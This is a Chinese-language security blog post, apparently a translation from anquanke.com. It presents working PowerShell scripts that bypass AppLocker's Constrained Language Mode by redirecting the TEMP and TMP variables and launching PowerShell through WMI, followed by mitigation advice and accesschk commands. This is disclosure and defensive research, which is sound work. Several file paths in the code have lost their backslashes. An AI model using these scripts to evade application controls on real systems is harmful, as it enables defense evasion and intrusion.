一、前言

我曾深入分析过AppLocker,想从中找到绕过PowerShell约束语言模式(Constrained Language Mode,CLM)的方法,本文介绍了我在该过程中发现的一种技术。我已将该问题反馈至微软,但对方并不想为此提供服务方案,不认为该问题满足解决标准。

 

二、问题背景

我在观察PowerShell启动的事件日志时发现了这种方法,我注意到PowerShell在启动时总会触发两个警告,声称程序无法执行:

该警告涉及到一个.PSM1文件以及一个.PS1文件,这些文件名随机生成,满足如下模式:

_PSSCRIPTPOLICYTEST<8个随机字符>.<3个随机字符>.PS1
_PSSCRIPTPOLICYTEST<8个随机字符>.<3个随机字符>.PSM1

当我们观察警告日志,可以注意到系统尝试在用户的%temp%目录中执行这些文件,当然AppLocker会限制这种行为,除非我们主动定义例外才能放行。

我捕捉到了这些文件,以便分析文件内容。采用如下一个简单的PowerShell循环脚本即可捕捉这些文件:

while($true)
{
Copy-Item -Path $("$env:temp.ps") -Destination C:temp
}

文件内容如下所示(两个文件的内容一致):

略微思考如何绕过执行限制后,我想到了一种方法,那就是我们可以预先创建所有可能存在的.PS1及.PSM1文件,然后使用硬链接(hardlink)方法将其链接到允许执行的某个位置。然而这个过程会创建海量的文件,因此我很快就放弃了这种方法。随后我想到,也许PowerShell会从用户环境变量中读取临时目录的值,事实证明我的猜测非常正确。

 

三、绕过方法

由于我们可以修改注册表中HKCU\Environment下%TEMP%以及%TMP%的值,因此我决定先尝试这个方法。操作起来非常简单,只需要打开注册表编辑器,修改这些值即可。在测试中,我使用的是默认的AppLocker规则,这些规则允许执行来自C:\Windows\*目录下的脚本,因此我决定将%TEMP%以及%TMP%指向c:\windows\temp,因为用户具备该目录的写权限。请注意,如果用户具备某个路径的写权限,而该路径中的脚本又可以执行,那么用户就可以将自己的PS1脚本放到该目录中,然后在完整语言模式(Full Language Mode)中执行该脚本。

修改注册表键值后,我打开了一个新的PowerShell窗口。令人惊讶的是,程序并没有使用新的环境变量值。

Google搜索一番后,我发现我们可以将Start-Process与-UseNewEnvironment参数搭配使用。这种方法适用于大多数进程,但遗憾的是PowerShell无法以这种方式启动,会快速弹出窗口然后关闭,因此我们又回到了问题的起点。

经过若干次实验后,我想到我们可以使用WMIC来启动进程,并且我们也可以在PowerShell中使用WMI命令。我决定试一下这种方法,结果的确行之有效,最终我构造的脚本如下所示:

$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:windowstemp"
$TMPBypassPath = "C:windowstemp"

Set-ItemProperty -Path 'hkcu:Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:Environment' -Name Temp -Value "$TMPBypassPath"

Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "powershell"
sleep 5

Set it back

Set-ItemProperty -Path 'hkcu:Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:Environment' -Name Temp -Value $CurrTemp

上述代码中最为关键的是Invoke-WmiMethod -Class win32_process -Name create -ArgumentList “powershell”这条命令。当该脚本从CLM模式中启动时,会启动具备完整语言模式的新的PowerShell窗口,整个运行过程如下图所示:

我发现这种方法非常酷,因此决定将其集成到我的PowerAL项目中的一个函数(PowerAppLocker)。

在函数编写过程中,我发现还有一种更好的方法,可以不修改用户的环境变量,这里应该感谢Matt Graeber撰写的精彩文章

在那篇文章中,Matt Graeber介绍了如何从Win32_Process类中启动一个进程,并且使用我们自定义的环境变量,而这正是我所需要的技术。

我编写的原始函数代码如下所示(该代码是PowerAL模块的一部分,大家可以访问Github页面获取完整代码):

Path to Powershell

$CMDLine = "$PSHOMEpowershell.exe"

Getting existing env vars

[String[]] $EnvVarsExceptTemp = Get-ChildItem Env:* -Exclude "TEMP","TMP"| % { "$($.Name)=$($.Value)" }

Custom TEMP and TMP

$TEMPBypassPath = "Temp=C:windowstemp"
$TMPBypassPath = "TMP=C:windowstemp"

Add the to the list of vars

$EnvVarsExceptTemp += $TEMPBypassPath
$EnvVarsExceptTemp += $TMPBypassPath

Define the start params

$StartParamProperties = @{ EnvironmentVariables = $EnvVarsExceptTemp }
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties

Start a new powershell using the new params

Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $CMDLine
ProcessStartupInformation = $StartParams
}

 

四、缓解措施

如何避免攻击者利用这种方法?我们必须定义特定的脚本规则,禁止脚本从用户具备写权限的目录中运行。这意味着如果我们允许c:\windows\*目录,那么需要排除掉其中用户可写的目录,如C:\windows\temp或者C:\windows\tracing。大家可以使用Accesschk来获取用户具备写权限的所有目录列表,我也提供了一个批处理脚本,可以帮助大家发现可写的目录:

accesschk -w -s -q -u Users "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Everyone "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u "Authenticated Users" "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Interactive "C:Program Files" >> programfiles.txt

accesschk -w -s -q -u Users "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Everyone "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Authenticated Users" "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Interactive "C:Program Files (x86)" >> programfilesx86.txt

accesschk -w -s -q -u Users "C:Windows" >> windows.txt
accesschk -w -s -q -u Everyone "C:Windows" >> windows.txt
accesschk -w -s -q -u "Authenticated Users" "C:Windows" >> windows.txt
accesschk -w -s -q -u Interactive "C:Windows" >> windows.txt

整个过程就这么简单,欢迎大家给出意见及建议。

文章原文链接:https://www.anquanke.com/post/id/161367